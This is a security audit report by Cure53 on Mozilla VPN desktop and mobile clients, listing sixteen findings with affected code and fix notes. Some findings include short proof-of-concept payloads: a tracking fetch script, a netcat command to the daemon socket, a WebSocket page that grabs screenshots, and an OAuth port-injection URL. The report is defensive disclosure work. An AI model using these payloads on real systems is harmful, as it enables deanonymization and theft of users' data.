Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.dePentest-Report Mozilla VPN Apps & Clients 03.2021
Cure53, Dr.-Ing. M. Heiderich, Dipl.-Ing. A. Inführ, BSc. T.-C. “Filedescriptor” Hong,MSc. R. Peraglie, MSc. S. Moritz, N. Hippert, MSc. F. Fäßler

Index
Introduction
Scope
Identified Vulnerabilities
FVP-02-001 WP1-3: VPN leak via captive portal detection (Medium)
Miscellaneous Issues
FVP-02-002 WP1: Balrog does not verify certificate chain on macOS (Low)
FVP-02-003 General: Balrog incorrectly verifies certificate chain (Low)
FVP-02-004 WP4: ATS policy unnecessarily weakened (Info)
FVP-02-005 WP1-3: Authenticationlistener allows disturbance of login (Info)
FVP-02-006 WP3: Race condition in Ping Sender could expose gateway IP (Info)
FVP-02-007 General: QString format code anti-pattern (Info)
FVP-02-008 WP5: Android app allows backups of application data (Info)
FVP-02-009 WP5: Secure flag missing on views for Android app (Info)
FVP-02-010 WP5: Android app supports insecure v1 signature (Info)
FVP-02-011 API: Information disclosure via device endpoint (Low)
FVP-02-012 WP5: Unencrypted shared preferences (Info)
FVP-02-013 WP5: Android app exposes sensitive data to system logs (Low)
FVP-02-014 General: Cross-site WebSocket hijacking (High)FVP-02-015 General: Verbose logging and leaking of logs to desktop (Low)
FVP-02-016 OAuth: Auth code could be leaked by injecting port (Medium)
Conclusions

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Introduction“Security you can rely on. A name you can trust. A VPN from the trusted pioneer ininternet privacy.”
From https://vpn.mozilla.org/

This report describes the results of a security assessment targeting five Mozilla VPN Qt5
applications and clients, together with their corresponding codebase. Conducted byCure53 in the frames of a penetration test and a source code, the work took place inspring 2021.
To give some context, the work was requested by Mozilla in mid-January 2021 and thenpromptly scheduled. Cure53 carried out the investigation through two dedicated phases
in March 2021. The first stage took place in CW11 and the second in CW13.
The heading marker FVP-02 indicates that the project marks the second security
collaboration between Cure53 and Mozilla in regard to this scope. The first review
happened in August 2020 and yielded several issues, including a Critical-severity bug. It
must be emphasized that a lot of development work has been done since then.
As for the resources, the project worked against a budget of twenty-five person-days. A
team with seven members of the Cure53 was created to carry out the assessment. The
testers were responsible for preparations, execution, finalization and documentation ofthis work.
For optimal delineation of the scope, the work was split into five separate work packages(WPs), mirroring a schema of having a dedicated WP for each app. The WP structure,
therefore, can be elaborate as follows:
•
•
•
•
•

WP1: Security Tests & Code Audits against Mozilla VPN Qt5 App for macOSWP2: Security Tests & Code Audits against Mozilla VPN Qt5 App for Linux
WP3: Security Tests & Code Audits against Mozilla VPN Qt5 App for Windows
WP4: Security Tests & Code Audits against Mozilla VPN Qt5 App for iOS
WP5: Security Tests & Code Audits against Mozilla VPN Qt5 App for Android

The methodology chosen here was white-box. Cure53 was given access to all sourcesin scope, primarily the Qt-written shared codebase from which all five apps can becompiled. Moreover, the testers could leverage the compiled apps for each platform inscope to make sure that the tests correspond to how the apps could act if distributed toactual users.

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All preparations were done in late February and early March, namely in CW10 and early
CW11, ensuring that Cure53 could have a smooth start. Preparations were done very
well, eliminating the risk of delays that could have hindered the tests and audits. The
project then started on time and progressed efficiently. No noteworthy roadblocks
affected the assessment.
Communications during the test were done using a shared Slack channel with which thetwo workspaces of Mozilla and Cure53 could be glued together. All participating
personnel could take part in the discussions which were as smooth and productive. Livereporting was not used, but would not be necessary given the rather limited severities
ascribed to the emerging findings.
The testing team obtained a very good coverage over the WP1-WP5 scope items. Even
though sixteen security-relevant discoveries were made, only one was classified as an
actual vulnerability. The remaining array of fifteen problems should be viewed as acollection of general weaknesses with lower exploitation potential. The sole vulnerability
was set to Medium score in terms of risk. This is a good sign for the current Mozilla VPN
app setup and security posture, especially when the outcomes are compared to theAugust 2020 results. When seen through a temporal lens, the security and privacy
posture have clearly been improved.
In the following sections, the report will first shed light on the scope and key test
parameters, as well as the structure and content of the WPs. Next, all findings will be
discussed in grouped vulnerability and miscellaneous categories, then following achronological order in each of the classes. Alongside technical descriptions, PoC andmitigation advice are supplied when applicable. Finally, the report will close with broader
conclusions about this March 2021 project. Cure53 elaborates on the general
impressions and reiterates the verdict based on the testing team’s observations andcollected evidence. Tailored hardening recommendations for the Mozilla complex namely the Mozilla VPN Qt5 applications, clients and their corresponding code - are also
incorporated into the final section.
Note: This report was updated with fix notes for each addressed ticket in mid August2021. All of those fixes have been inspected and verified by the Cure53 team in July &August 2021, all based on diffs and PRs.

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Scope
•

•
•

•

Source-Code Audits & Assessments against 5 Mozilla VPN Qt5 Apps & Clients◦ WP1: Security Tests & Code Audits against Mozilla VPN Qt5 App for macOS▪ Tested staging Version: 2.0.5◦ WP2: Security Tests & Code Audits against Mozilla VPN Qt5 App for Linux▪ Tested staging Version: 2.1.0◦ WP3: Security Tests & Code Audits against Mozilla VPN Qt5 App for Windows▪ Tested staging Version: 2.0.4◦ WP4: Security Tests & Code Audits against Mozilla VPN Qt5 App for iOS▪ Tested staging Version: 2.0.4◦ WP5: Security Tests & Code Audits against Mozilla VPN Qt5 App for Android▪ Tested staging Version: 2.0.4
Test-users have been provided for Cure53
Sources are available on GitHub◦ https://github.com/mozilla-mobile/mozilla-vpn-client◦ In scope was the latest version of the main branch at the time of testingCompiled binaries were shared with Cure53

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cure53.de · mario@cure53.deIdentified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in chronological order rather than by theirdegree of severity and impact. The aforementioned severity rank is simply given inbrackets following the title heading for each vulnerability. Each vulnerability isadditionally given a unique identifier (e.g. FVP-02-001) for the purpose of facilitating any
future follow-up correspondence.

FVP-02-001 WP1-3: VPN leak via captive portal detection (Medium)
Note: This issue was not addressed as the captive portal is one of the key features of
the VPN project. The current implemented solution is similar to what Firefox offers.
It was found that the Mozilla VPN allows sending unencrypted HTTP requests outside of
the tunnel to specific IP addresses, particularly if the captive portal detection mechanism
has been activated through the settings. This signifies the risk of deanonymization of theuser in a scenario where following two conditions are met:••

Attackers passively monitor the network traffic between these IP addresses andthe victim.
Attackers can issue unencrypted HTTP requests to arbitrary URLs from thevictim’s machine which is protected by Firefox VPN with captive portal detection
enabled.

Please note at this point that the former requirement is usually given with state-funded
censorship or especially resourceful attackers. The latter requirement could be achieved
by luring the victim onto a webpage with attacker-controlled content.
In such a scenario, the attackers can send a web request from the web page to thetargeted IP addresses with a unique token included within the URL. The latter can be
identified in the network traffic from the victim-machine to the specific IP addresses.
Steps to reproduce:
1. Check Settings->Notifications->”Guest Wi-Fi portal alert” and turn Mozilla VPN
on.
2. Record network traffic from victim to IP address with Wireshark or another sniffer.
3. Visit a website that serves the HTML content:<script>
window.setInterval(_ => fetch("http://34.107.221.82/success.txt?
uniquetoken=cure53.de.313373", {mode:"no-cors"}), 5000</script>

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4. Observe the token in the network request being sent by the real IP address of thevictim.

Fig.: A token can be observed in plain-text outside of the secure tunnel connection
The captive portal detection feature should stay disabled by default and needs to comewith a security warning. Additionally, connections performed to the captive portal
detection URL should only be allowed by the Firewall from the Mozilla VPN process.

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cure53.de · mario@cure53.deMiscellaneous Issues
This section covers those noteworthy findings that did not lead to an exploit but might aid
an attacker in achieving their malicious goals in the future. Most of these results arevulnerable code snippets that did not provide an easy way to be called. Conclusively,
while a vulnerability is present, an exploit might not always be possible.

FVP-02-002 WP1: Balrog does not verify certificate chain on macOS (Low)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that Balrog does not verify the whole certificate chain on macOS. This
allows attackers to supply a self-signed leaf certificate, effectively indicating a bypass ofBalrog. This could be abused by state-funded attackers who are in charge of a trusted
valid certificate authority. They could perform a Man-in-the-Middle attack and replace thebinary code provided by the Mozilla VPN update with malicious malware.
Affected File:
src/update/balrog.cpp
Affected Code:bool Balrog::checkSignature(const QByteArray& signature,
const QByteArray& signatureBlob,
QCryptographicHash::Algorithm algorithm,
const QByteArray& data) {[...]// Qt5.15 doesn't implement the certificate validation (yet?)#ifndef MVPN_MACOS
QList<QSslError> errors = QSslCertificate::verify(list);for (const QSslError& error : errors) {if (error.error() != QSslError::SelfSignedCertificateInChain) {logger.log() << "Chain validation failed:" << error.errorString();
return false;}}#endif

It is recommended that the SSL verification is performed in all cases for all operating
systems. If Qt does not provide a certificate validation mechanism on macOS, an
alternative implementation should be used instead. By doing so, Balrog will be able tostop rogue certificates and updates that shall not be accepted.

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FVP-02-003 General: Balrog incorrectly verifies certificate chain (Low)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that Balrog does not properly verify the certificate chain, permitting rogue
root certificates and their fellowship to pass. The attacker-controlled leaf certificate holds
a public key that will be used to verify the update used in Windows and macOS.
This signifies the risk of state-funded attackers who are in charge of a trusted certificate
authority being able to perform Man-in-the-Middle attacks on the TLS connection
initiated by Mozilla VPN to receive updates. Attackers can now replace the binary codeof the update with malicious malware bypassing the Balrog mechanism that intends todetect those attacks.
Affected File:
src/update/balrog.cpp
Affected Code:bool Balrog::checkSignature(const QByteArray& signature,
const QByteArray& signatureBlob,
QCryptographicHash::Algorithm algorithm,
const QByteArray& data) {[...]#ifndef MVPN_MACOS
QList<QSslError> errors = QSslCertificate::verify(list);for (const QSslError& error : errors) {if (error.error() != QSslError::SelfSignedCertificateInChain) {logger.log() << "Chain validation failed:" << error.errorString();
return false;}}#endiflogger.log() << "Validating root certificate";
const QSslCertificate& rootCert = list.constLast();QByteArray rootCertHash = rootCert.digest(QCryptographicHash::Sha256).toHex();
if (rootCertHash != Constants::BALROG_ROOT_CERT_FINGERPRINT) {logger.log() << "Invalid root certificate fingerprint" << rootCertHash;
return false;}[...]
QSslKey leafPublicKey = leaf.publicKey();[...]if (!validateSignature(leafPublicKey.toPem(), data, algorithm,
signatureBlob)) {Cure53, Berlin · 08/17/21

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Abstract forged certificate list (root to leaf):• Original root CA certificate sent by Mozilla VPN• Attacker’s root CA certificate• Attacker’s leaf certificate
Since Qt5 does not deliver a solid implementation of certificate chain verification without
performing an SSL handshake, it is recommended to use an alternative implementation
instead. For instance, Golang offers such an implementation natively by the x509/crypto
module1. By leveraging it, Balrog will be able to stop rogue certificates and updates thatshall not pass.

FVP-02-004 WP4: ATS policy unnecessarily weakened (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
The iOS Mozilla VPN app was checked for property settings which weaken the securityof the application. It was discovered that NSAllowsArbitraryLoads is set. This means it
disables the default App Transport Security restrictions and permits the app to utilize
plain-text HTTP requests.
Affected File:
Info.plist
Affected Code:<key>NSAppTransportSecurity</key><dict><key>NSAllowsArbitraryLoads</key><true/></dict>As neither the source code nor the runtime assessment indicated that the iOS app
actually requires plain-text HTTP, it should be taken into consideration to remove thisproperty. This would ensure that the default ATS restrictions are enforced.

1

https://golang.org/pkg/crypto/x509/#Certificate.Verify

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FVP-02-005 WP1-3: Authenticationlistener allows disturbance of login (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that Mozilla VPN in desktop environments sets up an HTTP server listening
on a port acting as the OAuth callback expecting an Authorization Code to complete theAuthentication of Mozilla VPN. This means there is a risk of attackers spamming
requests to the local server via JavaScript, potentially disturbing the login process of theapps. This is possible as the local HTTP server is not protected by an additional secretand cannot distinguish between legitimate requests from malicious ones.
Affected File:
src/tasks/authenticate/desktopauthenticationlistener.cpp
Affected Code:DesktopAuthenticationListener::DesktopAuthenticationListener(QObject* parent): AuthenticationListener(parent) {MVPN_COUNT_CTOR(DesktopAuthenticationListener);m_server = new QOAuthHttpServerReplyHandler(QHostAddress::LocalHost, this);connect(m_server, &QAbstractOAuthReplyHandler::callbackReceived,[this](const QVariantMap& values) {logger.log() << "DesktopAuthenticationListener data received";// Unknown connection.
if (!values.contains("code")) {return;}QString code = values["code"].toString();m_server->close();It is recommended to protect the Authenticationlistener by a dynamically generated
authentication token. The server should only be closed once authentication is either
successfully completed or canceled by the user. By doing so, attackers cannot denyauthentication by spamming and closing the listener prematurely. This should befeasible to implement as the Mozilla VPN already passes the local listener port to the
HTTP login URL.

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FVP-02-006 WP3: Race condition in Ping Sender could expose gateway IP (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that Mozilla VPN was prone to a race condition vulnerability in the Ping
Sender that frequently delivers ICMP packets to the internal IP address of the
WireGuard gateway. Shortly after turning the VPN off, those ICMP packets are at risk ofbeing sent outside of the WireGuard tunnel and might reveal which gateway IP wasused. Since this event is very rare and unreliable, whilst information leakage isadditionally scarce, this issue is of purely informational nature.

Fig.: An ICMP request carrying the intrinsic 1-byte payload ‘*’ sent by Mozilla VPN
Affected File:
src/connectionhealth.cpp
Affected Code:void ConnectionHealth::connectionStateChanged() {logger.log() << "Connection state changed";if (MozillaVPN::instance()->controller()->state() != Controller::StateOn) {stop();
return;}[...]Cure53, Berlin · 08/17/21

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m_noSignalTimer.start(PING_TIME_NOSIGNAL_SEC * 1000);}

It is recommended that the sending of ICMP requests is stopped before the VPN
connection is closed instead of stopping the requests after it has been closed. By doing
so, no ICMP requests should be able to slip outside of the secure WireGuard tunnel after
turning the VPN off.

FVP-02-007 General: QString format code anti-pattern (Info)
Note: This issue has not been addressed, the QString format approach is what QT
suggests using. Both Cure53 and the maintainer team did an audit of the strings onquestion and found no exploitable issues.
During code review of the applications, a typical QString code anti-pattern was noticed.
Qt5 offers QString, which can contain format characters such as %1 or %2. Next, it canthen be replaced by a call to .args(). These calls to .args() should not be chained, asthen the result of the first replacement can influence the next invocation. In some rarecases, this could lead to bypassing of checks or injections. No such security-relevant
occurrence was noticed during the time frame of this assignment, however, it is still
recommended to adjust the code and ensure no such issues can appear in the future.
Affected File Example:
ipaddress.h & ipaddressrange.h
Affected Code Example:
const QString toString() const {QString("%1/%2").arg(m_ipAddress).arg(m_range);}

The following PoC will send and activate RPC calls to the daemon with an invalid IP
address range.
Proof-of-Concept:
echo '{"allowedIPAddressRanges":[{"address":"XXX_%2_XXX","isIpv6":false,"range":1337},{"address":"::0","isIpv6":true,"range":0}],"deviceIpv4Address":"10.72.115.168/32","deviceIpv6Address":"fc00:bbbb:bbbb:bb01::9:73a7/128","ipv6Enabled":true,"priv
ateKey":"+gzOAY2x5bP1rRrdCO7LZv2vAm64R6IyELjW+/
13pZI=","serverIpv4AddrIn":"86.106.74.82","serverIpv4Gateway":"10.64.0.1","serve

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rIpv6AddrIn":"2001:ac8:26:ae::a04f","serverIpv6Gateway":"fc00:bbbb:bbbb:bb01::1","serverPort":32705,"serverPublicKey":"VLosXjrnpppwX5yjqW6WaFOYEY76hWQrDPlfe/
0dzyY=","type":"activate"}' | nc -U /var/run/mozillavpn/daemon.socket

In the logs the following entry will appear, showing that the %2 format identifier wasinterpreted by the second call to .args().
Unable to parse IP address: `XXX_1337_XXX'

The expected toString() result of the IP address should be XXX_2%_XXX instead. It is
recommended to change all occurrences of chained .args() with a single call, containing
all values, for example QString("%1/%2").arg(m_ipAddress, m_range);

FVP-02-008 WP5: Android app allows backups of application data (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
The allowBackup property in the AndroidManifest.xml file specifies if the data pertinent
to the apps can be backed up.2 Without setting the android:allowBackup flag to false, thebackup feature is enabled by default. In case an attacker is able to send adb commands
to user-phones, they could get access to all of the stored data from the protected data
folders, inclusive of the VPN configuration data.
Affected File:android/AndroidManifest.xml
As this feature does not require a rooted phone, disallowing backups completely should
be considered. Due to the fact that an absence of the flag will set it to true by default, it isrecommended to explicitly set the allowBackup flag to false within the application tag.

FVP-02-009 WP5: Secure flag missing on views for Android app (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
During the assessment of the Android app, the discovery was made that the
FLAG_SECURE security flag is not deployed to protect views that display sensitive
content. By applying the flag for Android views, the app’s windows can no longer be
manually “screenshotted”. Additionally, the items would be excluded from automatic2

https://developer.android.com/guide/topics/manifest/application-element#allowbackup

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screenshots or screen-recordings, which ultimately prevents screen-data from leakage
to alternative apps.
Particularly for the implemented views displaying sensitive data, e.g. during the login
process, adding this flag is important. An attacker would otherwise be able to steal
sensitive data, such as login credentials or personal information, doing it after it has
been displayed. Hence, this information could be stolen from the services via a maliciousapp.

It is recommended to add the FLAG_SECURE within the WindowManager responsible
for handling views like the WebView. The flag can be set via WindowManager.
LayoutParams, i.e. as FLAG_SECURE within the function of setFlags(). As for additional
information on how to prevent this type of attacks, please refer to the OWASP Mobile
Security Testing Guide3.

FVP-02-010 WP5: Android app supports insecure v1 signature (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
The discovery was made that the provided Android staging and production builds are
signed with an insecure v1 APK signature. Using the insecure v1 signature makes theapp prone to the known Janus4 vulnerability on devices running Android < 7. The
problem lets attackers smuggle malicious code into the APK without breaking thesignature. At the time of writing, the app supports a minimum SDK of 21 (Android 5),which only uses the v1 signature and is, hence, vulnerable to this attack.
The existence of this flaw means that attackers could trick users into installing a
malicious attacker-controlled APK which matches the v1 APK signature of the Mozilla
VPN Android application. As a result, a transparent update would be possible without
warnings appearing in Android, effectively taking over the existing application and all of
its data. It is recommended to increase the minimum supported SDK level to at least 24(Android 7) to ensure that this known vulnerability cannot be exploited on devices
running older Android versions. In addition, the production builds should only be shippedwith v2 and v3 APK signatures.

3
4

https://mobile-security.gitbook.io/mobile-security-testing-guide/android-testing-gui...static-analysis-8
https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-atta….affecting-their-signatures

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FVP-02-011 API: Information disclosure via device endpoint (Low)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that the corresponding API used by the Mozilla VPN applications includes
sensitive information into response messages in case an error is triggered. The backend
speaks to the Mullvad partner API which handles account-related data for each Mozilla
VPN user. However, if the Mullvad API throws an error, the backend includes thismessage in the response and returns it to the client. This might lead to an exposure ofsensitive data, such as the corresponding Mullvad account ID, as shown below.
Adversaries would be able to leverage this sort of information to perform further attacks
against the connected APIs.
Affected Request:
POST /api/v1/vpn/device HTTP/1.1
Host: stage-vpn.guardian.nonprod.cloudops.mozgcp.net
Content-Type: application/json
Authorization: Bearer [...]{"name":"from-wireguardconf","pubkey":"T1fKJp8knv4kqsfy9O04OIy+1nl5b9ypcnIzdmcfyzM="}

Response:
HTTP/1.1 500 Internal Server Error
Date: Wed, 31 Mar 2021 08:56:57 GMT[...]{"message":"https://partner.mullvad.net/v1/accounts/
b018d34efd734a27a06e155756733c8b/wireguard-keys/ returned unexpected
statusCode=400, body={\"code\":\"RELAY_PUBKEY\",\"error\":\"WireGuard public key
in use by a relay\"}, taskType=ADD_DEVICE"}

It is recommended not to route error messages received from the Mullvad partner API
back to the client. Instead, a static error message or an error identifier should be
employed to be able to monitor the application.

FVP-02-012 WP5: Unencrypted shared preferences (Info)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
During the assessment of the Android app, the discovery was made that the application
does not always consistently use the encrypted shared preference feature provided by
the Android SDK. This may lead to an information disclosure in case a local attacker isable to get root access to the phone or the data is obtainable via backups (see FVP-02Cure53, Berlin · 08/17/21

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Affected File Example:
android/src/com/mozilla/vpn/VPNServiceBinder.kt
Affected Code Example:
val prefs = mService.getSharedPreferences("com.mozilla.vpn.prefrences", Context.MODE_PRIVATE)
prefs.edit().putString("lastConf", json).apply()Shared Preferences File Example:<?xml version='1.0' encoding='utf-8' standalone='yes' ?><map><string name="lastConf">{[...]&quot;ipv4Address&quot;: &quot;10.69.52.189/32&quot;,&quot;ipv6Address&quot;: &quot;fc00:bbbb:bbbb:bb01::6:34bc/128&quot;[...]
privateKey&quot;: &quot;A86Q+F6EZuzTKwuUYWN4zSuXcNQdXSpzwVNzVuG09V8=&quot;[...]

It is advised to use the provided wrapper class called EncryptedSharedPreferences toencrypt sensitive data stored within the shared_prefs folder, so as to make theapplication more robust against the illustrated attacks. The wrapper class uses theAndroid Keystore for handling the master key and is used to encrypt/decrypt all otherkeysets. For more information, please refer to the official Android guide on storing data
more securely5. Additionally, it is also advised to store VPN configuration data via
encrypted shared preferences, which is actually also written to the vpn.moz file in plaintext.

FVP-02-013 WP5: Android app exposes sensitive data to system logs (Low)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
It was found that the Android app makes frequent use of logging features to be able tomonitor events. However, this can be considered a bad practice, especially in production
environments where tokens and codes of Mozilla VPN users might be accessible bythird-parties.
5

https://developer.android.com/topic/security/data

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In case the device is connected to the computer with debugging enabled via USB, anattacker may be able to get access to the logs via adb logcat. From there, extraction ofuser-tokens may be achievable. Note that apps with system privileges are able toaccess logs directly on rooted devices.
Affected Files:• android/src/com/mozilla/vpn/VPNWebView.java• src/platforms/android/androidwebview.cpp
Affected Code (VPNWebView.java):
public void setUrl(final String url){
Log.v(TAG, "load url: " + url);

Affected Code (androidwebview.cpp):
void AndroidWebView::onPageStarted(JNIEnv* env, jobject thiz, jstring url,
jobject icon) {Q_UNUSED(env);
Q_UNUSED(thiz);
Q_UNUSED(icon);
QString pageUrl = env->GetStringUTFChars(url, 0);logger.log() << "Page started:" << pageUrl;

The following data could be received via the adb logcat command from the production
app.
Example log file excerpt:
6212-26212/? V/VPNWebView: Url changed:
https://subscriptions.firefox.com/products/prod_FvnsFHIfezy3ZI?
device_id=525aae70bd2d4f91a14a220276fb43f9&flow_begin_time=1617196879716&flow_id=cb5c8613a2897eb3675871fb3ef280dfabd0d85b6a0db938ca617f5363fd5e0b&plan=plan_Fvnx
S1j9oFUZ7Y#accessToken=73c81c24f7e74982a67fd57253f3a041560f8236408f95cd6e4d5586e
3f78e95
2021-03-31 21:17:21.882 26212-26212/? D/mozillavpn: [31.03.2021 15:17:21.881](android - AndroidWebView) Page started:
https://subscriptions.firefox.com/products/prod_FvnsFHIfezy3ZI?
device_id=525aae70bd2d4f91a14a220276fb43f9&flow_begin_time=1617196879716&flow_id=cb5c8613a2897eb3675871fb3ef280dfabd0d85b6a0db938ca617f5363fd5e0b&plan=plan_Fvnx
S1j9oFUZ7Y#accessToken=73c81c24f7e74982a67fd57253f3a041560f8236408f95cd6e4d5586e
3f78e95[...]
2021-03-31 21:30:08.555 27857-27873/? D/mozillavpn: [31.03.2021 15:30:08.552](main - TaskAuthenticate) User data:{"avatar":"https://mozillausercontent.com/00000000000000000000000000000000","devices":[{"created_at":"2021-03-

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Bielefelder Str. 14
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cure53.de · mario@cure53.de

31T08:14:49.989Z","ipv4_address":"10.70.176.58/32","ipv6_address":"fc00:bbbb:bbb
b:bb01::7:b039/128","name":"seba-canon ubuntu
20.04","pubkey":"nLMeZaqykxT+/m9u03I6Ts1Z9p7YlLntZ9bYvQxC5CY="}],"display_name":"","email":"megar4nd0mname728@restmail.net","max_devices":5,"subscriptions":{"vpn":{"active":true,"created_at":"2021-03-26T09:35:09.913Z","renews_on":"202104-26T09:35:10.000Z"}}}[...]

It is recommended to limit the logging of information in a way that no sensitive data isstored in the system logs on production releases.

FVP-02-014 General: Cross-site WebSocket hijacking (High)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
The provided staging build contains the Mozilla VPN WebSocket Controller, which
exposes a WebSocket endpoint on localhost. No additional authentication is required tointeract with this port, thus allowing any website to connect and interact with the VPN
client. At the beginning of the audit, Mozilla assured that this WebSocket server is only
part of the staging build. However, later it was revealed that Mozilla would like to reuse
this connection for communication with a browser extension in the future. Thus, Cure53
decided to report this issue.
The following code can be hosted on an arbitrary website. When Mozilla VPN is running,
the website will connect to the WebSocket port and request a screenshot. This
screenshot can then be leaked to the attacker.

PoC:<script>
var ws = new WebSocket("ws://localhost:8765/");
ws.onmessage = function (event) {document.write("<code>"+event.data+"</code>");j = JSON.parse(event.data);
if(j['type'] == 'screen_capture') {screenshot = j['value'];var img = document.createElement("img");
img.src = `data:image/png;base64,${screenshot}`;
document.body.appendChild(img);}}
ws.onopen = function (event) {ws.send(`screen_capture`);};Cure53, Berlin · 08/17/21

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As can be seen, the WebSocket connection is not restricted by SOP like typical HTTP
requests. A special authorization step has to be added in order to establish trust
between a website or future browser extension.

FVP-02-015 General: Verbose logging and leaking of logs to desktop (Low)
Note: This issue has not been addressed, the maintainer team have introduced different
log levels and are planning to remove some entries for prod builds. In addition, they did
an audit of all the log calls to check for sensitive data.
Related to FVP-02-013, the macOS and Windows clients engage in fairly verbose
logging, too. For example, the callback code from the authentication steps and all the
VPN details such as the client’s private key and IPs are logged. Additionally, on macOSand Linux, requesting the logs via the help menu item will have Mozilla VPN write a copyof the logfile to the desktop. A user might not notice that these files are created, whichcauses privacy concerns.
Log file excerpt (via activating the VPN on macOS):[31.03.2021 18:10:33.216] (main - DaemonLocalServerConnection) Command received:{"allowedIPAddressRanges":[{"address":"0.0.0.0","isIpv6":false,"range":0}],"deviceIpv4Address":"10.70.147.
198/32","deviceIpv6Address":"fc00:bbbb:bbbb:bb01::7:93c5/128","ipv6Enabled":false,"privateKey":"YGN7Oi/
HeVykCkeeimegYrqYTxOr1EdXwKL0oS0Seqg=","serverIpv4AddrIn":"193.9.114.2","serverI
pv4Gateway":"10.64.0.1","serverIpv6AddrIn":"2001:ac8:27:20::a01f","serverIpv6Gat
eway":"fc00:bbbb:bbbb:bb01::1","serverPort":34120,"serverPublicKey":"wkEqQQKK3dJ
DttRanJWONU/5xuxRDR4cLfvnPJKtijE=","type":"activate"}

It is recommended to give users an option to disable logging. Copies of the logs should
not be written into unexpected locations.

FVP-02-016 OAuth: Auth code could be leaked by injecting port (Medium)
Note: This issue was verified as properly fixed in August 2021 by the Cure53 team, theproblem no longer exists.
When a user wants to log into Mozilla VPN, the VPN client will make a request to https://
vpn.mozilla.org/api/v2/vpn/login/windows to obtain an authorization URL. The endpointtakes a port parameter that will be reflected in a <img> element after the user signs into
the web page. It was found that the port parameter can be of arbitrary value. Further, it ispossible to inject the @ sign, so that the request will go to an arbitrary host instead of
localhost. Theoretically, an attacker can give a crafted URL to a victim and once theCure53, Berlin · 08/17/21

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cure53.de · mario@cure53.devictim uses it to log in, their authorization code will be leaked to the attacker’s website.
However, the CSP in place contains a strict img-src directive which prevents
exploitation.
Steps to reproduce:
1. Navigate to the following URL:
https://vpn.mozilla.org/api/v2/vpn/login/windows?
code_challenge=5HiGZMYr9T6%2BQQcbaYPeGuRugIvFiOtfnKLB4SmHJVQ%3D&code_challenge_method=S256&port=1234@example.com
2. Sign in to the page.
3. Open DevTools and look for a <img> element. It will be like the following:<img src="http://127.0.0.1:1234@example.com/?code=..." alt="">

It is recommended to validate the port parameter to be numeric-only. This will preventthe resulting URL from being manipulated.

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Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions
In this audit, a next iteration of the Mozilla VPN desktop applications for macOS, Linuxand Windows and for the Mozilla VPN mobile applications on iOS and Android was
examined by Cure53. More specifically, six members of the Cure53 team completed the
project over the course of twenty-five days in March and April 2021. While sixteen issues
were found during the audit, only one of them is actually exploitable and fifteen wereassigned to the Miscellaneous group which effectively makes them hardening
recommendations and best practices that could be followed non-urgently.
The provided builds generally share the same codebase and differ mainly in the parts
responsible for offering the applications on the respective operating systems. This also
made it rather easy to compare different functionalities between different OSs. In otherwords, Cure53 could relatively quickly understand whether certain types of issues arelikely to be applicable to the other operating systems as well. Nevertheless, distinct
areas of testing and the related results will now be discussed in more detail.
In the first step, Cure53 analyzed the configuration and implementation of the used Qt5
framework, which represents one of the main parts from the Mozilla VPN apps. The Qt5
code is written in the generally dangerous language C++. In other words, it isquestionable why Mozilla has not used Rust for a new application, particularly when the
Mozilla foundation is pushing Rust into Firefox for security reasons. However,specifically the Qt5 JSON parsing methods used by Mozilla VPN are continuously
fuzzed by the OSS-Fuzz project 6. Thus, reasonable security expectations can be
attached to this choice.
While reviewing the application code, a Qt5 programming anti-pattern was foundregarding the nested string formatting (FVP-02-007). This might allow an attacker to craft
unexpected string inputs and bypass checks, albeit no security relevant condition was
identified. Issues that allow deanonymization of users not often spotted, except for thesole exploitable item in FVP-02-001 which requires a strong state-funded attackermodel. Another theoretical deanonymization vulnerability was spotted and documented
in FVP-02-006. This is unexploitable because the internal VPN IP should never berouted to an external interface. In addition to the absence of other severe findings, thisindicates that Mozilla is well-aware of deanonymization risks and their optimal mitigationon the client-side.
The separation of the non-privileged app and the privileged helper means that there isan inherent attack surface for local privilege escalation via their communication channel.
Generally, not using TCP-based sockets has been a good design decision, since these6

https://storage.googleapis.com/oss-fuzz-coverage/qt/reports/20210317/li...elib/serialization/report.html

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Dr.-Ing. Mario Heiderich, Cure53
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cure53.de · mario@cure53.dewould allow malicious websites to attack the daemon. Instead, Mozilla VPN uses unix
domain sockets. This limits the attack vectors to local malicious apps. However, theprotocol does not use any form of authentication or client verification, choosing to limit
the capabilities of the exposed methods. This includes starting and stopping a
WireGuard VPN connection, checking the status and reading the logs.
Based on the above, this leaves Mozilla VPN open to two major threat surfaces: (1) the
parsing of commands done via Qt5 functions and (1) the more complex and exposed
methods of the VPN, namely “activate” and “deactivate”.
On Linux and macOS, a helper shell script is called by the privileged daemon which sets
up WireGuard and network configurations. This script is extremely critical for security
and should normally get most of the security attention. However, prior to the test, Mozilla
has announced that it will be replaced soon and, as such, does not warrant substantial
reviewing efforts. This - in Cure53’s opinion - is rather unfortunate in relation to its
criticality. Cure53 therefore recommends that the upcoming changes get
comprehensively reviewed in terms of security before they are shipped in production
releases.
In competitive VPN applications, the usage of helper shell scripts has led to quite trivial,
local privilege escalation issues. However, Mozilla VPN luckily uses the .deb files forLinux and .pkg file for macOS, which will install the app into a root-owned location. Thus,
an attacker cannot modify the helper script to gain root access. This means only bugs in
the helper shell script could lead to a local privilege escalation. As mentioned, no large
focus was put on the script, yet a quick look has not immediately revealed any obvious
